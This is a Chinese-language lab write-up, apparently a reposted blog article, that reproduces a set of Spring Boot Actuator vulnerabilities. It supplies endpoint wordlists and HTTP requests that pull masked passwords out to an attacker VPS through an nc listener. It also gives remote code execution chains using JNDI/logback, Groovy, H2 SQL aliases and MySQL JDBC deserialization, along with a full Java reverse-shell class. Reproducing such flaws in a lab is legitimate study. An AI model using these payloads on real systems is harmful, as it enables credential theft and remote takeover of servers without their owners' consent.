【漏洞复现】Spring Boot 漏洞集合
2022-10-23 14:37:37 Author: moonsec(查看原文) 阅读量:37 收藏

环境搭建

搭建基础

参考:https://github.com/LandGrey/SpringBootVulExploit

漏洞环境搭建:https://github.com/LandGrey/SpringBootVulExploit

路由知识

有些程序员会自定义/manage、/managemen

Spring Boot Actuator 1.x 版本默认内置路由的启示路径为/,2.x版本则统一以/actuator为起始路径

Spring Boot Actuator 默认的内置路由名字,如/env有时候也会被程序员修改,比如修改成/appenv

漏洞复现

配置文件

application.properties

看配置文件application.properties

//启动端口 9098
server.port=9098
server.address=127.0.0.1

# vulnerable configuration set 0: spring boot 1.0 - 1.4
# all spring boot versions 1.0 - 1.4 expose actuators by default without any parameters
# no configuration required to expose them

# safe configuration set 0: spring boot 1.0 - 1.4
#management.security.enabled=true

# vulnerable configuration set 1: spring boot 1.5+
# spring boot 1.5+ requires management.security.enabled=false to expose sensitive actuators
#management.security.enabled=false

# safe configuration set 1: spring boot 1.5+
# when 'management.security.enabled=false' but all sensitive actuators explicitly disabled
#management.security.enabled=false

## vulnerable configuration set 2: spring boot 2+
#management.security.enabled=false
#management.endpoint.refresh.enabled=true
//开启指定的端点
management.endpoints.web.exposure.include=env,restart,refresh
#management.endpoints.web.exposure.include=*
//开启restart
management.endpoint.restart.enabled=true

搭建好运行环境

访问起始路径它会将配置文件中的端点列出

删除配置文件中的端点

设置配置文件中端点为*

端点说明

参考指南:https://docs.spring.io/spring-boot/docs/1.5.10.RELEASE/reference/htmlsingle/#production-ready-endpoints

·env:暴露Spring的属性

·heapdump:返回GZip压缩的hprof堆转储文件。

·restart:重启应用

·refresh:读取加载入口

信息泄露

此部分直接般原作者的可以略过

0x01 路由地址及接口调用详情泄漏

Spring 1.x 和 Spring 2.x 的路由入口不同,区别在于/env 和 /actuator/env

直接访问以下两个 swagger 相关路由,验证漏洞是否存在:

/v2/api-docs
/swagger-ui.html

其他一些可能会遇到的 swagger、swagger codegen、swagger-dubbo 等相关接口路由:

/swagger
/api-docs
/api.html
/swagger-ui
/swagger/codes
/api/index.html
/api/v2/api-docs
/v2/swagger.json
/swagger-ui/html
/distv2/index.html
/swagger/index.html
/sw/swagger-ui.html
/api/swagger-ui.html
/static/swagger.json
/user/swagger-ui.html
/swagger-ui/index.html
/swagger-dubbo/api-docs
/template/swagger-ui.html
/swagger/static/index.html
/dubbo-provider/distv2/index.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html

除此之外,下面的 spring boot actuator 相关路由有时也会包含(或推测出)一些接口地址信息,但是无法获得参数相关信息:

/mappings
/metrics
/beans
/configprops
/actuator/metrics
/actuator/mappings
/actuator/beans
/actuator/configprops

0x02 配置不当而暴露的路由

参考:https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt

trace
health
loggers
metrics
autoconfig
heapdump
threaddump
env
info
dump
configprops
mappings
auditevents
beans
jolokia
cloudfoundryapplication
hystrix.stream
actuator
actuator/auditevents
actuator/beans
actuator/health
actuator/conditions
actuator/configprops
actuator/env
actuator/info
actuator/loggers
actuator/heapdump
actuator/threaddump
actuator/metrics
actuator/scheduledtasks
actuator/httptrace
actuator/mappings
actuator/jolokia
actuator/hystrix.stream

其中对寻找漏洞比较重要接口的有:

· /env/actuator/envGET 请求 /env 会直接泄露环境变量、内网地址、配置中的用户名等信息;当程序员的属性名命名不规范,例如 password 写成 psasword、pwd 时,会泄露密码明文;同时有一定概率可以通过 POST 请求 /env 接口设置一些属性,间接触发相关 RCE 漏洞;同时有概率获得星号遮掩的密码、密钥等重要隐私信息的明文。

· /refresh/actuator/refreshPOST 请求 /env 接口设置属性后,可同时配合 POST 请求 /refresh 接口刷新属性变量来触发相关 RCE 漏洞。

· /restart/actuator/restart暴露出此接口的情况较少;可以配合 POST请求 /env 接口设置属性后,再 POST 请求 /restart 接口重启应用来触发相关 RCE 漏洞。

· /jolokia/actuator/jolokia可以通过 /jolokia/list 接口寻找可以利用的 MBean,间接触发相关 RCE 漏洞、获得星号遮掩的重要隐私信息的明文等。

· /trace/actuator/httptrace一些 http 请求包访问跟踪信息,有可能在其中发现内网应用系统的一些请求信息详情;以及有效用户或管理员的 cookie、jwt token 等信息。

·/heapdump/actuator/heapdump

heapdump可以通过工具去分析查询存储在实例类中的信息

0x03 获取被星号脱敏的密码的明文

0x03:获取被星号脱敏的密码的明文 (方法一)

访问 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换达到脱敏的效果

利用条件:

·目标网站存在 /jolokia/actuator/jolokia 接口

·目标使用了 jolokia-core 依赖(版本要求暂未知)

利用方法:

步骤一: 找到想要获取的属性名

GET 请求目标网站的 /env/actuator/env 接口,搜索 ****** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。

步骤二: jolokia 调用相关 Mbean 获取明文

将下面示例中的 security.user.password 替换为实际要获取的属性名,直接发包;明文值结果包含在 response 数据包中的 value 键中。

·调用 org.springframework.boot Mbean

实际上是调用 org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar 类实例的 getProperty 方法

spring 1.x

POST /jolokia
Content-Type: application/json

{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

spring 2.x

POST /actuator/jolokia
Content-Type: application/json

{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

·调用 org.springframework.cloud.context.environment Mbean

实际上是调用 org.springframework.cloud.context.environment.EnvironmentManager 类实例的 getProperty 方法

spring 1.x

POST /jolokia
Content-Type: application/json

{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

spring 2.x

POST /actuator/jolokia
Content-Type: application/json

{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

·调用其他 Mbean

目标具体情况和存在的 Mbean 可能不一样,可以搜索 getProperty 等关键词,寻找可以调用的方法。

0x04:获取被星号脱敏的密码的明文 (方法二)

利用条件:

·可以 GET 请求目标网站的 /env

·可以 POST 请求目标网站的 /env

·可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)

·目标使用了 spring-cloud-starter-netflix-eureka-client 依赖

·目标可以请求攻击者的服务器(请求可出外网)

利用方法:

步骤一: 找到想要获取的属性名

GET 请求目标网站的 /env/actuator/env 接口,搜索 ****** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。

步骤二: 使用 nc 监听 HTTP 请求

在自己控制的外网服务器上监听 80 端口:

nc -lvk 80

步骤三: 设置 eureka.client.serviceUrl.defaultZone 属性

将下面 http://value:${security.user.password}@your-vps-ip  中的  security.user.password 换成自己想要获取的对应的星号 * 遮掩的属性名;

your-vps-ip 换成自己外网服务器的真实 ip 地址。

spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip

spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}

步骤四: 刷新配置

spring 1.x

POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/refresh
Content-Type: application/json

步骤五: 解码属性值

正常的话,此时 nc 监听的服务器会收到目标发来的请求,其中包含类似如下Authorization 头内容:

Authorization: Basic dmFsdWU6MTIzNDU2

将其中的 dmFsdWU6MTIzNDU2部分使用 base64 解码,即可获得类似明文值 value:123456,其中的 123456 即是目标星号 * 脱敏前的属性值明文。

0x05:获取被星号脱敏的密码的明文 (方法三)

利用条件:

·通过POST /env 设置属性触发目标对外网指定地址发起任意http 请求

·目标可以请求攻击者的服务器(请求可出外网)

利用方法:

参考 UUUUnotfound 提出的 issue-1,可以在目标发外部 http 请求的过程中,在 url path 中利用占位符带出数据

步骤一: 找到想要获取的属性名

GET 请求目标网站的 /env/actuator/env 接口,搜索 ****** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。

步骤二: 使用 nc 监听 HTTP 请求

在自己控制的外网服务器上监听 80 端口:

nc -lvk 80

步骤三: 触发对外 http 请求

·spring.cloud.bootstrap.location 方法(同时适用于明文数据中有特殊 url 字符的情况)

spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

spring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password}

spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}

·eureka.client.serviceUrl.defaultZone 方法(不适用于明文数据中有特殊 url 字符的情况)

spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password}

spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}

步骤四: 刷新配置

spring 1.x

POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/refresh
Content-Type: application/json

0x06:获取被星号脱敏的密码的明文 (方法四)

访问 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换达到脱敏的效果

利用条件:

·可正常 GET 请求目标 /heapdump/actuator/heapdump 接口

利用方法:

步骤一: 找到想要获取的属性名

GET 请求目标网站的 /env/actuator/env 接口,搜索 ****** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。

步骤二: 下载 jvm heap 信息

下载的 heapdump 文件大小通常在 50M500M 之间,有时候也可能会大于 2G

GET 请求目标的 /heapdump/actuator/heapdump 接口,下载应用实时的 JVM 堆信息

步骤三: 使用 MAT 获得 jvm heap 中的密码明文

参考 文章 方法,使用 Eclipse Memory Analyzer 工具的 OQL 语句

select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))

select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))

辅助用 "password" 等关键词快速过滤分析,获得密码等相关敏感信息的明文。

命令执行

注意:在命令执行之前要检查好编写的payload和 要修改配置的属性,如果发生错误会导致网站服务断掉

在漏洞环境中的包体中需要区分入口文件和content-type属性

Spring 1.x

POST /env HTTP1.1
Content-Type: application/x-www-form-urlencoded

Spring 2.x

POST /actuator/env
Content-Type: application/json

0x01 restart logging.config logback JNDI RCE

漏洞环境:springboot-restart-rce

JNDIExploit工具:https://github.com/WhiteHSBG/JNDIExploit

利用条件

·可以 POST 请求目标网站的 /env 接口设置属性

·可以 POST 请求目标网站的 /restart 接口重启应用

·普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP),但相关环境可绕过

·⚠️ 目标可以请求攻击者的 HTTP 服务器(请求可出外网),否则 restart 会导致程序异常退出

·⚠️ HTTP 服务器如果返回含有畸形 xml 语法内容的文件,会导致程序异常退出

·⚠️ JNDI 服务返回的 object 需要实现 javax.naming.spi.ObjectFactory 接口,否则会导致程序异常退出

漏洞复现

第一步

在服务器执行命令开启JNDI服务,会开启两个服务端口。使用LDAP的1389端口

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 127.0.0.1

第二步

开启HTTP服务,并将xml文件放在根目录下

python -m http.server 80

ldap的地址修改为VPS地址,端口是上面服务器开放的1389端口,最后面的base64编码的是"start calc",要执行的命令

<configuration>
<insertFromJNDI env-entry-name="ldap://127.0.0.1:1389/TomcatBypass/Command/Base64/c3RhcnQgY2FsYw==" as="appName" />
</configuration>

第三步

抓取数据包,修改 logging.config属性,设置logback日志配置文件URL地址。

POST /actuator/env HTTP/1.1
Host: 127.0.0.1:9098
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Length: 0
Content-Type: application/json
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

{"name":"logging.config","value":"http://127.0.0.1/example.xml"}

接着执restart重启应用,程序会请求URL地址获取的XML文件内容

注意:

发送请求的包中,Content-Type的属性必须是json。

一、
POST /actuator/env
Content-Type: application/json

{"name":"logging.config","value":"http://your-vps-ip/example.xml"}

二、
POST /actuator/restart
Content-Type: application/json

如果是Spring 1.x

一、
POST /env
Content-Type: application/x-www-form-urlencoded

logging.config=http://your-vps-ip/example.xml

二、
POST /restart
Content-Type: application/x-www-form-urlencoded

JNDI记录,这个漏洞是无回显利用

DNSlog检测

可以使用查看可以使用的利用链

java -jar JNDIExploit-1.4-SNAPSHOT.jar -u

example.xml配置

<configuration>
<insertFromJNDI env-entry-name="ldap://0.0.0.0:1389/TomcatBypass/Dnslog/hbbhlmdrxr.dnstunnel.run" as="appName" />
</configuration>

回显利用

查看JNDIExploit工具说明中,是支持可回显的。在本地测试失败

只需要将example.xml替换即可

<configuration>
<insertFromJNDI env-entry-name="ldap://127.0.0.1:1389/TomcatBypass/SpringEcho" as="appName" />
</configuration>

0x02 restart logging.config groovy RCE

漏洞环境:springboot-restart-rce

利用条件

·可以 POST 请求目标网站的 /env 接口设置属性

·可以 POST 请求目标网站的 /restart 接口重启应用

·⚠️ 目标可以请求攻击者的 HTTP 服务器(请求可出外网),否则 restart 会导致程序异常退出

·⚠️ HTTP 服务器如果返回含有畸形 groovy 语法内容的文件,会导致程序异常退出

·⚠️ 环境中需要存在 groovy 依赖,否则会导致程序异常退出

漏洞复现

第一步

制作example.groovy文件,放在VPS开启的服务根目录

python -m http.server 80

Runtime.getRuntime().exec("calc")

第二步

设置logging.config属性

POST /actuator/env HTTP/1.1
Host: 127.0.0.1:9098
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Length: 0
Content-Type: application/json
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

{"name":"logging.config","value":"http://127.0.0.1/example.groovy"}

重启应用

POST /actuator/restart HTTP/1.1
Host: 127.0.0.1:9098
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Length: 0
Content-Type: application/json
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

DNSlog检测

修改example文件中的代码即可

0x03 restart spring.main.sources groovy RCE

漏洞环境:springboot-restart-rce

利用条件

·可以 POST 请求目标网站的 /env 接口设置属性

·可以 POST 请求目标网站的 /restart 接口重启应用

·⚠️ 目标可以请求攻击者的 HTTP 服务器(请求可出外网),否则 restart 会导致程序异常退出

·⚠️ HTTP 服务器如果返回含有畸形 groovy 语法内容的文件,会导致程序异常退出

·⚠️ 环境中需要存在 groovy 依赖,否则会导致程序异常退出

漏洞复现

第一步

制作example.groovy文件,放在VPS开启的服务根目录

python -m http.server 80

Runtime.getRuntime().exec("calc")

第二步

设置spring.main.sources属性

POST /actuator/env HTTP/1.1
Host: 127.0.0.1:9098
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Length: 0
Content-Type: application/json
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

{"name":"spring.main.sources","value":"http://127.0.0.1/example.groovy"}

重启应用

POST /actuator/restart HTTP/1.1
Host: 127.0.0.1:9098
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Length: 0
Content-Type: application/json
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

这里和restart logging,config groovy RCE利用相同,只不过修改的属性是spring.main.sources,restart logging,config groovy RCE修改的属性是logging.config

DNSlog检测

修改example文件中的代码即可

0x04 restart spring.datasource.data h2 database RCE

漏洞环境:springboot-restart-rce

利用条件

·可以 POST 请求目标网站的 /env 接口设置属性

·可以 POST 请求目标网站的 /restart 接口重启应用

·环境中需要存在 h2databasespring-boot-starter-data-jpa 相关依赖

·⚠️ 目标可以请求攻击者的 HTTP 服务器(请求可出外网),否则 restart 会导致程序异常退出

·⚠️ HTTP 服务器如果返回含有畸形 h2 sql 语法内容的文件,会导致程序异常退出

漏洞复现

第一步

制作example.groovy文件,放在VPS开启的服务根目录

python -m http.server 80

CREATE ALIAS T4 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T4('cmd','/C','start calc');

注意:这里的payload每次执行之后都需要修改文件名以及方法名称并且修改对应的URL地址(文件名),才可以被resart重新使用

第二步

设置spring.datasource.data的属性

POST /actuator/env HTTP/1.1
Host: 127.0.0.1:9098
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Length: 0
Content-Type: application/json
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

{"name":"spring.datasource.data","value":"http://127.0.0.1/example4.sql"}

重启应用

POST /actuator/restart HTTP/1.1
Host: 127.0.0.1:9098
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Length: 0
Content-Type: application/json
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

DNSlog检测

修改example5.sql文件,并修改第一步的URL地址

CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/C','ping dxxqzqbizh.dnstunnel.run');

0x05 mysql jdbc deserialization RCE

漏洞环境:springboot-mysql-jdbc-rce

利用条件

·可以 POST 请求目标网站的 /env 接口设置属性

·可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)

·目标环境中存在 mysql-connector-java 依赖

·目标可以请求攻击者的服务器(请求可出外网)

本地环境需要配置application.properties中的数据库

spring.datasource.url=jdbc:mysql://127.0.0.1:3306/demo?characterEncoding=utf8&useSSL=false&serverTimezone=GMT
spring.datasource.username=root
spring.datasource.password=root
spring.datasource.driver-class-name=com.mysql.jdbc.Driver

服务启动后开放的是9097端口

漏洞复现

第一步

GET请求/actuator/env,搜索环境变量中是否有mysql-connector-java关键词

版本号:mysql-connector-java-8.0.12.jar

存在反序列化gadget依赖:commons-collections 3.2.1

JDBC连接信息:

jdbc:mysql://127.0.0.1:3306/demo?characterEncoding=utf8&useSSL=false&serverTimezone=GMT

第二步

架设恶意的rogue mysql server

下载脚本:https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-jdbc-deserialization-rce.py

使用ysoserial定义执行的命令

https://github.com/frohoff/ysoserial/releases/tag/v0.0.6

java -jar ysoserial-all.jar CommonsCollections3 calc > payload.ser

使用python2 执行python脚本,并将payload.ser放在执行脚本的同级目录下

第三步

设置spring.datasource.url属性

mysql-connector-java 5.x 版本设置属性值为:

jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

mysql-connector-java 8.x 版本设置属性值为:

jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

设置属性发送包

POST /actuator/env HTTP/1.1
Host: 127.0.0.1:9097
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Length: 0
Content-Type: application/json
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

{"name":"spring.datasource.url","value":"jdbc:mysql://192.168.8.157:3306/mysql?characterEncoding=utf8&useSSL=false&serverTimezone=GMT&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true"}

重启应用

POST /actuator/refresh HTTP/1.1
Host: 127.0.0.1:9097
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Length: 0
Content-Type: application/json
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

步骤四

访问数据库查询接口,触发漏洞。或者寻找网站上其他进行数据查询的功能,此处只是测试demo

GET /product/list HTTP/1.1
Host: 127.0.0.1:9097
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/json
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

python脚本搭建的mysql服务有反应,但是我这里没执行成功

恢复正常jdbc url

把上面获取的jdbc连接,重新在步骤三发送一次

POST /actuator/env HTTP/1.1
Host: 127.0.0.1:9097
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Length: 0
Content-Type: application/json
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

{"name":"spring.datasource.url","value":"jdbc:mysql://127.0.0.1:3306/demo?characterEncoding=utf8&useSSL=false&serverTimezone=GMT"}

0x06 h2 database console JNDI RCE

漏洞环境:springboot-h2-database-rce

利用条件

·存在 com.h2database.h2 依赖(版本要求暂未知)

·spring 配置中启用 h2 console  spring.h2.console.enabled=true

·目标可以请求攻击者的服务器(请求可出外网)

·JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP 方式)

漏洞复现

注意:此漏洞属于一次性,执行一次之后需要手动重启服务才可以再次利用

第一步

直接访问路由获得jessionid

第二步

准备要执行的Java代码,这里只是用来测试。

将代码编译,这里必须使用兼容低版本jdk的方式编译,否则执行失败

javac -source 1.5 -target 1.5 JNDIObject.java

/**
* javac -source 1.5 -target 1.5 JNDIObject.java
 *
 * Build By LandGrey
 * */

import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class JNDIObject {
    static {
        try {
           Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

第三步

VPS开启HTTP服务,并将第二步的class文件放在根目录

python -m http.server 80

第四步

架设对应的ldap服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389

第五步

发包并替换对应的jsessionid,修改ldap中的地址

注意:访问路由界面的后缀是.jsp,而这里的是.do

POST /h2-console/login.do?jsessionid=ff72f1d4537c1ddc30e88b32921236cf HTTP/1.1
Host: 127.0.0.1:9096
Content-Type: application/x-www-form-urlencoded
Referer: http://127.0.0.1:9096/h2-console/login.do?jsessionid=ff72f1d4537c1ddc30e88b32921236cf

language=en&setting=Generic+H2+%28Embedded%29&name=Generic+H2+%28Embedded%29&driver=javax.naming.InitialContext&url=ldap://192.168.8.143:1389/JNDIObject&user=&password=

多次测试发现,这个漏洞属于一次性的,也就是说这个服务启动一次只能使用这个漏洞一次。

使用java构建恶意类直接反弹shell

/**
* javac -source 1.5 -target 1.5 JNDIObject.java
 *
 * Build By LandGrey
 * */

import java.io.File;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class JNDIObject {
    static {
        try{
            String ip = "192.168.8.143";  //VPS地址
            String port = "443";
            String py_path = null;
            String[] cmd;
            if (!System.getProperty("os.name").toLowerCase().contains("windows")) {
                String[] py_envs = new String[]{"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"};
                for(int i = 0; i < py_envs.length; ++i) {
                    String py = py_envs[i];
                    if ((new File(py)).exists()) {
                        py_path = py;
                        break;
                    }
                }
                if (py_path != null) {
                    if ((new File("/bin/bash")).exists()) {
                        cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/bash\")"};
                    } else {
                        cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/sh\")"};
                    }
                } else {
                    if ((new File("/bin/bash")).exists()) {
                        cmd = new String[]{"/bin/bash"};
                    } else {
                        cmd = new String[]{"/bin/sh"};
                    }
                }
            } else {
                cmd = new String[]{"cmd.exe"};
            }
            Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start();
            Socket s = new Socket(ip, Integer.parseInt(port));
            InputStream pi = p.getInputStream();
            InputStream pe = p.getErrorStream();
            InputStream si = s.getInputStream();
            OutputStream po = p.getOutputStream();
            OutputStream so = s.getOutputStream();
            while(!s.isClosed()) {
                while(pi.available() > 0) {
                    so.write(pi.read());
                }
                while(pe.available() > 0) {
                    so.write(pe.read());
                }
                while(si.available() > 0) {
                    po.write(si.read());
                }
                so.flush();
                po.flush();
                Thread.sleep(50L);
                try {
                    p.exitValue();
                    break;
                } catch (Exception e) {
                }
            }
            p.destroy();
            s.close();
        }catch (Throwable e){
            e.printStackTrace();
        }
    }
}

我这里在本地弹VPS失败,本地可以弹成功,可能是我本地防火墙原因

DNSlog检测

还可以自己构造恶意类,进行DNSlog检测

/**
* javac -source 1.5 -target 1.5 JNDIObject.java
 *
 * Build By LandGrey
 * */

import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class JNDIObject {
    static {
        try {
            Runtime.getRuntime().exec("ping axvrvkkwzn.dnstunnel.run");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

使用JNDIExploit

使用这款工具就不需要像上面那么麻烦,启动一个ldap服务

